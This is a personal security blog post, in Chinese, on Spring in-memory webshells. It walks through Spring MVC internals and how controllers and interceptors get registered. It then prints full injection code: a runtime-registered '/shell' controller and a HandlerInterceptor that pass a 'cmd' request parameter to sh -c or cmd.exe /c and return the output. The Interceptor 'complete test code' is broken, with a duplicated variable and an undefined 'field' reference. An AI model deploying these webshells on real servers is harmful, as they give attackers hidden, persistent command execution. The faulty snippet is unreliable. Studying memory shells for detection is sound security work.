Java安全-Spring内存马

Java安全-Spring内存马

Spring基础

放一个spring工作的流程图供参考

dispatch的中文释义是派遣,判断这是一个分发器(用于第一步处理请求)

Handler是什么?

Handler是一个Controller的对象和请求方式的组合的一个Object对象

HandleExcutionChains是HandleMapping返回的一个处理执行链,它是对Handle的二次封装,将拦截器关联到一起。然后,在DispatcherServlert中完成了拦截器链对handler的过滤

DispatcherServlet要将一个请求交给哪个特定的Controller,它需要咨询一个Bean–这个Bean的名字为“HandlerMapping”。HandlerMapping是把一个URL指定到一个Controller上,(就像应用系统的web.xml文件使用将URL映射到servlet)。

SpringMVC的执行流程

  • 用户发送请求至前端控制器DispatcherServlet。
  • DispatcherServlet收到请求调用HandlerMapping处理器映射器。
  • 处理器映射器找到具体的处理器(controller或者handle)(可以根据xml配置、注解进行查找),生成处理器对象及处理器拦截器(如果有则生成)一并返回给DispatcherServlet。
  • DispatcherServlet调用HandlerAdapter处理器适配器。
  • HandlerAdapter经过适配调用具体的处理器(Controller,也叫后端控制器)。
  • Controller执行完成返回ModelAndView。
  • HandlerAdapter将controller执行结果ModelAndView返回给DispatcherServlet。
  • DispatcherServlet将ModelAndView传给ViewReslover视图解析器。
  • ViewReslover解析后返回具体View。
  • DispatcherServlet根据View进行渲染视图(即将模型数据填充至视图中)。
  • DispatcherServlet响应用户

几个重要的组件

  • 前端控制器(DispatcherServlet):接收请求,响应结果,相当于电脑的CPU。

  • 处理器映射器(HandlerMapping):根据URL去查找处理器

  • 处理器(Handler):(需要程序员去写代码处理逻辑的)

  • 处理器适配器(HandlerAdapter):会把处理器包装成适配器,这样就可以支持多种类型的处理器,类比笔记本的适配器(适配器模式的应用)

  • 视图解析器(ViewResovler):进行视图解析,多返回的字符串,进行处理,可以解析成对应的页面

Bean

Bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。

  • bean 是对象
  • bean 被 IoC 容器管理
  • Spring 应用主要是由一个个的 bean 构成的

IOC容器

如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC(又称为依赖注入)。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。

IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xmlJava注解Java代码来表示。

ApplicationContext

Spring 框架中,BeanFactory 接口是 Spring IoC容器 的实际代表者

Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。

img

因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

Root Context和Child Context

我们来看看web.xml配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
...

这里我们将DispatcherServlet设置别名为spring,然后将contextConfigLocation 参数值配置为/WEB-INF/springmvc.xml

依照规范,当没有显式配置 contextConfigLocation 时,程序会自动寻找 ``/WEB-INF/-servlet.xml,作为配置文件。因为上面的 dispatcherServlet,所以当没有显式配置时,程序依然会自动找到 /WEB-INF/dispatcherServlet-servlet.xml` 配置文件。

每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器;而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器

如果要访问和操作 bean ,一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
  • 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
  • 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext

ContextLoaderListener

ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他 Child Context 获取并使用容器中的 bean

SpringController内存马

环境搭建

环境的配置与版本如下:

  • SpringBoot2.6.13
  • JDK8u65
  • Maven4.0.2

在IDEA中新建项目,选择SpringBoot模块,类型设置为Maven,点击下一步

之后依赖选择SpringWeb,创建即可

新建一个测试用的controller

1
2
3
4
5
6
7
8
9
@Controller
public class SpringController {

@RequestMapping("/hello")
@ResponseBody
public String hello() {
return "Hello World";
}
}

源码分析

controller注册流程(访问前)

AbstractHandlerMethodMappinginitHanlderMethods方法处下一个断点,来分析Controller注册流程

看到initHandlerMethods方法,遍历所有bean,传入processCandidateBean方法中来处理bean

跟进processCandidateBean方法中,通过getType方法获取beanType,后续判断该Bean是否为Handler对象,如果是的话,就将其传入detectHandlerMethods方法中

detectHandlerMethods方法中,调用getMappingForMethod来获取到Map类methods,构成为<Method,RequestMapping>,后续通过遍历methods,调用registerHandlerMethod方法执行了注册Controller的操作

ai了一下这段代码的意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected void detectHandlerMethods(Object handler) {
// 如果 handler 是字符串(bean 名称),则从 Spring 应用上下文中获取对应类型;否则直接使用 handler 的运行时类
Class<?> handlerType = handler instanceof String ? this.obtainApplicationContext().getType((String)handler) : handler.getClass();

if (handlerType != null) {
// 获取用户定义的类(去掉代理类,返回原始类)
Class<?> userType = ClassUtils.getUserClass(handlerType);

// 使用 MethodIntrospector 遍历 userType 的所有方法并筛选出符合条件的映射(mapping)
// 返回的是一个 Map<Method, T>,T 是映射类型(例如 RequestMappingInfo)
Map<Method, T> methods = MethodIntrospector.selectMethods(userType, (method) -> {
try {
// 对每个方法,尝试获取该方法对应的映射信息(由子类实现的 getMappingForMethod)
return this.getMappingForMethod(method, userType);
} catch (Throwable ex) {
// 如果获取映射时出现异常,包装成 IllegalStateException 抛出,提示哪个类的哪个方法配置无效
throw new IllegalStateException("Invalid mapping on handler class [" + userType.getName() + "]: " + method, ex);
}
});

// 如果 logger 的 trace 级别开启,则用 trace 输出映射信息(格式化后的 mappings)
if (this.logger.isTraceEnabled()) {
this.logger.trace(this.formatMappings(userType, methods));
} else if (this.mappingsLogger.isDebugEnabled()) {
// 否则如果专门的 mappingsLogger 开启了 debug,则用它输出
this.mappingsLogger.debug(this.formatMappings(userType, methods));
}

// 遍历上面得到的方法-映射对,将每个方法注册为可调用的处理方法
methods.forEach((method, mapping) -> {
// 处理可能的 AOP 代理:选择真正可调用的原始方法(在代理情况下会返回原始方法)
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
// 注册该 handler 的方法和对应的映射(由具体实现完成,例如把映射放到路由表中)
this.registerHandlerMethod(handler, invocableMethod, mapping);
});
}
}

总结一下:

该方法的作用是:扫描给定 handler(bean)类的所有方法,找出那些有框架映射(mapping)的处理方法,记录/输出它们的映射信息,并把这些方法注册到处理器映射表中,供请求分发时调用。

持续跟进registerHandlerMethod,最后注册Controller的方法为this.mappingRegistry.register方法

跟到这里发现,只要调用mappingRegistry.register()RequestMappingHandlerMapping中的registerMapping方法(本质上也是调用mappingRegistry.register()),那么就可以向mappingRegistry中添加HandlerMethod,从而注册内存马;

RequestMappingHandlerMapping中的registerMapping方法

可以看到最终会走到mappingRegistry.register()

查找匹配Handler(访问后第一步)

我们在Controller中下一个断点,走到这里,我们可以看到左下角堆栈信息

进入doDispatch方法

该方法中控制先根据请求寻找Handler,再寻找HandlerAdapter,最后调用handle处理请求

在doDispatch开始处下断点

进入getHandler方法

getHandler方法中,会寻找我们访问路径所对应的HandlerMapping,其中HandlerMappings中存在五个HandlerMapping,通过迭代器进行遍历,找到匹配的HandlerMapping

继续跟进,走到getHandlerInternal方法

这个mappingRegistry中就存储着我们的路由信息,这里首先对mappingRegistry进行上锁,最后在finally块中,进行解锁,

跟进lookupHandlerMethod方法,这里根据我们访问的路径,获取到了映射关系的键值对

也就是说,我们只需要向mappingRegistry中添加恶意Controller的路由信息,就可以实现注入内存马的最后一步

实现

构造思路

和Tomcat内存马类似,我们需要了解如何动态的注册Controller,思路如下

  1. 获取上下文环境
  2. 注册恶意Controller
  3. 配置路径映射

获取上下文环境

在Tomcat架构中,我们要获取的是StandardContext,里面装载了web.xml配置文件的信息

在Spring中,我们要获取的是WebApplicationContext

  • WebApplicationContext,是继承于ApplicationContext的一个接口,扩展了ApplicationContext,是专门为Web应用准备的,它允许从相对于Web根目录的路径中装载配置文件完成初始化

servlet容器需要在应用项目启动时,给应用项目初始化一个ServletContext作为公共环境容器存放公共信息,WebApplicationContext(Web应用上下文)被创建后会以键值对形式存放与ServletContext中

WebApplicationContext 是 Spring 在 Web 环境中的核心容器。
它让 Bean 与 Web 容器(ServletContext)打通,实现了 “Spring + Servlet” 的深度融合。
在 Spring MVC 中,会形成 父子容器结构,保持业务逻辑与 Web 控制层的解耦

WebApplicationContext上可访问访问父容器的 Service、DAO,下可加载 Controller、HandlerMapping

  • 控制层可以访问 Service 层;

  • 但 Service 层不能反向访问 Controller;

  • 保持模块清晰、职责分离。

一个流程图

实际上这里是涉及到很多关于Spring架构的知识的,这里我们不再深入研究了,只需要知道在Tomcat架构下,我们要获取的是StandardContext,在Spring中要获取的是WebApplicationContext,操作WebApplicationContext来达到我们注入controller内存马的目的

获取上下文常用的方法有五种:

  1. ContextLoader
  2. WebApplicationContextUtils
  3. RequestContextUtils
  4. getAttribute
  5. 反射获取

ContextLoader

直接通过ContextLoader获取,获取到当前ContextLoader创建的WebApplicationContext(一般ContextLoader会被ban)

1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

WebApplicationContextUtils

该工具类的getWebApplicationContext方法也是获取到ContextLoaderListener所创建的ROOTWebApplicationContext

1
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

需要注意的是,在spring 5之后的的WebApplicationContextUtils已经没有getWebApplicationContext方法

RequestContextUtils

通过RequestContextHolder获取request,然后获取servletRequest后通过RequestContextUtils获取ROOTWebApplicationContext

1
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

getAttribute

RequestContextHolder方法直接从键值org.springframework.web.servlet.DispatcherServlet.CONTEXT中获取Context即可

1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

反射获取

最后也可以直接通过反射获取WebApplicationContext

1
2
3
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

注册Controller

在Spring2.5 - 3.1中使用defaultAnnotationHandlerMapping处理URL映射。在Spring3.1之后使用RequestMappingHandlerMapping方法

在模拟注册Controller时,一般有三种方法

registryMapping

根据上面的源码分析,可以直接将Controller直接注册进registryMapping

现在想要将Controller注册去,那么我们就要获取到registryMapping,而该参数可以直接通过调用WebApplicationContextgetBean方法获取,上面说了怎么获取上下文,因此使用以下代码即可获取registryMapping

1
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

在调用RegistryMapping注册时,需要传入三个参数:RequestMappingInfoControllerMethod,因此这三个参数是我们所需要构造的

创建RequestMappingInfo,需要传入PatternsRequestCondition(Controller映射的URL)和RequestMethodsRequestCondition(HTTP的请求方法)

1
2
//RequestMappingInfo构造方法需要的参数
public RequestMappingInfo(@Nullable String name, @Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) { }
1
2
3
PatternsRequestCondition url = new PatternsRequestCondition("/memShell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

恶意Controller就是我们的核心,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RestController
public class InjectedController {
public InjectedController(){
}
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}

最后需要创建Method,就是我们想要触发的Controller中的方法,这里我们通过反射获取该方法

1
Method method = InjectedController.class.getMethod("cmd");

最后调用RegistryMapping方法进行注册即可

1
requestMappingHandlerMapping.registerMapping(info, injectedController, method);

detectHandlerMethods

在上面分析注册流程时,detectHandelerMethods中,用getMappingForMethod获取了RequestMappingInfo,然后调用registerHandlerMethod方法进行调用

这里由于detectHandlerMethods为protect作用域,因此需要通过反射调用该方法(在使用该方法注册Controller的时候,我们构造的恶意Controller需要用注解指定路径,例如@RequestMapping("/backdoor")

1
2
3
4
5
6
7
8
9
//在上下文中注册一个名为 dynamicController 的 Webshell controller
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
//从上下文中获得 RequestMappingHandlerMapping
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
//反射获得 detectHandlerMethods Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
//通过反射将 dynamicController 注册到 handlerMap 中
m1.invoke(requestMappingHandlerMapping, "dynamicController");

registerHandler

上面两种方法适用于spring3.1之后,RequestMappingHandlerMapping为映射器时。当使用DefaultAnnotationHandlerMapping作为映射器时,可以使用该类顶层父类的registerHandler方法来注册controller,但是不太常用了。

1
2
3
4
5
6
7
8
9
//在上下文中注册一个名为 dynamicController 的 Webshell controller
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
//从上下文中获得 DefaultAnnotationHandlerMapping
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
//反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
//将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

完整测试代码

在真实环境下,肯定是不是这样注入的,而是通过jsp文件或者反序列化注入,但是Spring默认不支持JSP文件的解析,应该大部分都是通过反序列化注入的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@Controller
public class EvilController {

@RequestMapping("/Evil")
public void InjectController() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

//手动注册Controller
//从上下文中获得 RequestMappingHandlerMapping
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
//通过反射获得controller中的Method
Method method = evalController.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
//定义controller的路径
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
//定义访问controller的HTTP方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new evalController(), method);

}

public class evalController{
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
}
}

SpringInterceptor内存马

Interceptor和Tomcat中的Filter过滤器很相似,但是还是有些差别。一般来说,Interceptor用来做日志记录,过滤器则用来拦截非法操作

源码分析

Interceptor流程分析

doDispatch方法中,调用mppedHandler.applyPreHandle方法

在此处下一个断点

开始调试分析

进入applyPreHandle方法

这个方法会遍历所有的拦截器,依次执行所有拦截器的前置处理方法 preHandle(),如果任意一个拦截器返回 false,就中断请求流程并执行收尾清理。所有拦截器都放行时,返回 true,允许请求进入 Controller。

这里贴一张图,该图展现了Filter、Controller、Interceptor中方法的执行顺序

SpringMVC中比Tomcat架构多了请求分发和进入拦截器的步骤

Interceptor注册流程

下断点在DispathcerServlet.doDispatch方法中,持续跟进getHandler方法,在该方法中调用了getHandlerExecutionChain方法

获取处理器执行链

跟进getHandlerExecutionChain,该方法遍历取出adapedInterceptor中的Intercepter,如果该interceptor符合条件,就添加到chain中(和Tomcat中的FilterChain也是比较像的)

也是要使用这个addInterceptor方法添加到链子里

我们跟进看一下这个方法

要获取到这个interceptorList执行add方法,注入我们的Interceptor内存马

实现

获取上下文

1
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

获取RequestMappingHandlerMapping

AbstractHandlerMappiing类中,通过addInterceptor将拦截器添加至chain中。但该类为抽象类,如果遇到抽象类,那么我们应该去找他的实现类RequestMappingHandler

同样的RequestMappingHandlerMapping可以通过getBean方法从上下文中获取

1
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

注册Interceptor

前面在Interceptor注册流程中分析到过,直接通过调用adaptedInterceptorsadd方法添加即可

1
2
TestInterceptor evilInterceptor=new TestInterceptor();
adtedinterceptors.add(evilInterceptor);

完整测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.stoocea.Interceptor.TestInterceptor;
import org.junit.Test;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import java.lang.reflect.Field;
import java.util.ArrayList;


@Controller
public class Evil2Controller {


@GetMapping("/evil")
@ResponseBody
public String getEvilInterceptor() throws Exception{

WebApplicationContext applicationContext=(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)field.get(null)).iterator().next();

//通过ContextLoader.getCurrentWebApplicationContext() 来获取上下文
WebApplicationContext applicationContext = ContextLoader.getCurrentWebApplicationContext();

//通过IOC容器get到AbstractHandlerMapping
AbstractHandlerMapping handlerMapping=applicationContext.getBean("requestMappingHandlerMapping", AbstractHandlerMapping.class);
//反射获取adaptedInterceptors
Field field1=AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field1.setAccessible(true);
ArrayList<Object> adtedinterceptors =(ArrayList<Object>)field1.get(handlerMapping);
//注册Interceptor
TestInterceptor evilInterceptor=new TestInterceptor();
adtedinterceptors.add(evilInterceptor);

return "inject sucessfully";
}
}

恶意的Interceptor如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;

public class TestInterceptor implements HandlerInterceptor {

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String url = request.getRequestURI();
PrintWriter writer = response.getWriter();

if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
return true;

}
}

小结

梳理一下 SpringMVC 从 接收到请求 → 匹配 Handler → 执行拦截器与控制器 的全过程

因为对Spring流程没有太多研究,所以感觉学Spring内存马的时候没有Tomcat顺利,比较卡顿,以后会经常反回来看的

参考

Spring WebApplicationContext 介绍-CSDN博客


Java安全-Spring内存马
http://huang-d1.github.io/2025/10/24/Java安全-Spring内存马/
作者
huangdi
发布于
2025年10月24日
许可协议